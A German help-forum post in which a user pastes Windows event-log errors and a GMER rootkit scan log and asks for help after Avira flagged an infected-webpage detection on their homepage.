Error - 12.05.2013 17:01:37 | Computer Name = ***-Notebook | Source = ACPI | ID = 327690
Description = ACPI: ACPI-BIOS versucht, in einen ungültigen PCI-Operationsbereich
 (0x4) zu schreiben. Wenden Sie sich an den Systemhersteller, um technische Unterstützung
 zu erhalten.
 
Error - 12.05.2013 17:01:37 | Computer Name = ***-Notebook | Source = ACPI | ID = 327690
Description = ACPI: ACPI-BIOS versucht, in einen ungültigen PCI-Operationsbereich
 (0x10) zu schreiben. Wenden Sie sich an den Systemhersteller, um technische Unterstützung
 zu erhalten.
 
Error - 12.05.2013 17:01:37 | Computer Name = ***-Notebook | Source = ACPI | ID = 327690
Description = ACPI: ACPI-BIOS versucht, in einen ungültigen PCI-Operationsbereich
 (0x14) zu schreiben. Wenden Sie sich an den Systemhersteller, um technische Unterstützung
 zu erhalten.
 
Error - 12.05.2013 17:01:37 | Computer Name = ***-Notebook | Source = ACPI | ID = 327690
Description = ACPI: ACPI-BIOS versucht, in einen ungültigen PCI-Operationsbereich
 (0x1c) zu schreiben. Wenden Sie sich an den Systemhersteller, um technische Unterstützung
 zu erhalten.
 
Error - 12.05.2013 17:01:37 | Computer Name = ***-Notebook | Source = ACPI | ID = 327690
Description = ACPI: ACPI-BIOS versucht, in einen ungültigen PCI-Operationsbereich
 (0x24) zu schreiben. Wenden Sie sich an den Systemhersteller, um technische Unterstützung
 zu erhalten.
 
Error - 15.05.2013 04:09:52 | Computer Name = ***-Notebook | Source = Disk | ID = 262155
Description = Der Treiber hat einen Controllerfehler auf \Device\Harddisk1\DR1 gefunden.
 
Error - 15.05.2013 05:45:53 | Computer Name = ***-Notebook | Source = Disk | ID = 262155
Description = Der Treiber hat einen Controllerfehler auf \Device\Harddisk1\DR2 gefunden.
 
Error - 15.05.2013 07:27:24 | Computer Name = ***-Notebook | Source = Disk | ID = 262155
Description = Der Treiber hat einen Controllerfehler auf \Device\Harddisk1\DR3 gefunden.
 
Error - 15.05.2013 10:47:06 | Computer Name = ***-Notebook | Source = EventLog | ID = 6008
Description = Das System wurde zuvor am ?15.?05.?2013 um 13:27:32 unerwartet heruntergefahren.
 
 
< End of report >

--- --- ---

gmer.txt:
GMER Logfile:

Code:

ATTFilter

GMER 2.1.19163 - hxxp://www.gmer.net
Rootkit scan 2013-05-18 15:20:23
Windows 6.1.7601 Service Pack 1 \Device\Harddisk0\DR0 -> \Device\Ide\IAAStorageDevice-1 Corsair_ rev.2.2_ 119,24GB
Running: gmer_2.1.19163.exe; Driver: C:\Users\***~1\AppData\Local\Temp\pxtorpoc.sys


---- System - GMER 2.1 ----

SSDT            805FE666                                                       ZwCreateSection
SSDT            805FE670                                                       ZwRequestWaitReplyPort
SSDT            805FE66B                                                       ZwSetContextThread
SSDT            805FE675                                                       ZwSetSecurityObject
SSDT            805FE67A                                                       ZwSystemDebugControl
SSDT            805FE607                                                       ZwTerminateProcess
SSDT            \SystemRoot\system32\ntkrnlpa.exe                              ZwCreateKey [0x8244DFE2]
SSDT            \SystemRoot\system32\ntkrnlpa.exe[unknown section] [8244DFE2]  ZwCreateKey [0x8244DFE2]
SSDT            \SystemRoot\system32\ntkrnlpa.exe                              ZwOpenKey [0x8244DFE7]
SSDT            \SystemRoot\system32\ntkrnlpa.exe[unknown section] [8244DFE7]  ZwOpenKey [0x8244DFE7]

INT 0x03        \SystemRoot\system32\ntkrnlpa.exe[unknown section]             8244DFF6

---- Kernel code sections - GMER 2.1 ----

.text           ntkrnlpa.exe!ZwRollbackEnlistment + 140D                       8248AA09 1 Byte  [06]
.text           ntkrnlpa.exe!KiDispatchInterrupt + 5A2                         824C41F2 19 Bytes  [E0, 0F, BA, F0, 07, 73, 09, ...] {LOOPNZ 0x11; MOV EDX, 0x97307f0; MOV CR4, EAX; OR AL, 0x80; MOV CR4, EAX; RET ; MOV ECX, CR3}
.text           ntkrnlpa.exe!KeRemoveQueueEx + 11BF                            824CB314 3 Bytes  [E2, DF, 44] {LOOP 0xffffffe1; INC ESP}
.text           ntkrnlpa.exe!KeRemoveQueueEx + 11F7                            824CB34C 4 Bytes  [66, E6, 5F, 80]
.text           ntkrnlpa.exe!KeRemoveQueueEx + 137F                            824CB4D4 3 Bytes  [E7, DF, 44] {OUT 0xdf, EAX; INC ESP}
.text           ntkrnlpa.exe!KeRemoveQueueEx + 1553                            824CB6A8 4 Bytes  [70, E6, 5F, 80]
.text           ntkrnlpa.exe!KeRemoveQueueEx + 1597                            824CB6EC 4 Bytes  [6B, E6, 5F, 80]
.text           ...                                                            
.text           C:\Windows\system32\drivers\aksfridge.sys                      section is writeable [0xAD820000, 0x4ADDD, 0xE0000020]
.init           C:\Windows\system32\drivers\aksfridge.sys                      entry point in ".init" section [0xAD878224]
.init           C:\Windows\system32\drivers\aksfridge.sys                      unknown last code section [0xAD878000, 0x4000, 0xE20000E0]
.text           C:\Windows\system32\drivers\hardlock.sys                       section is writeable [0xAD87C400, 0x6F928, 0xE8000020]
.init           C:\Windows\system32\drivers\hardlock.sys                       entry point in ".init" section [0xAD8FFA24]
.init           C:\Windows\system32\drivers\hardlock.sys                       unknown last code section [0xAD8FF800, 0xEA00, 0xE20000E0]

---- Devices - GMER 2.1 ----

AttachedDevice  \Driver\kbdclass \Device\KeyboardClass0                        Wdf01000.sys
AttachedDevice  \Driver\kbdclass \Device\KeyboardClass1                        Wdf01000.sys

Device          \Driver\partmgr \Device\PartmgrControl                         aksfridge.sys

AttachedDevice  \FileSystem\fastfat \Fat                                       fltmgr.sys

---- EOF - GMER 2.1 ----

--- --- ---

EDIT: Ach ja, heute hat Avira sich geweigert geöffnet zu werden, nach nem Neustart wars aber wieder weg:

Danke fürs durchlesen und eure Hilfe!
Lg,
MA2413

Avira hat "HTML/Infected.WebPage.Gen3" auf meiner Homepage gefunden

Log-Analyse und Auswertung: Avira hat "HTML/Infected.WebPage.Gen3" auf meiner Homepage gefunden

Avira hat "HTML/Infected.WebPage.Gen3" auf meiner Homepage gefunden

Ähnliche Themen: Avira hat "HTML/Infected.WebPage.Gen3" auf meiner Homepage gefunden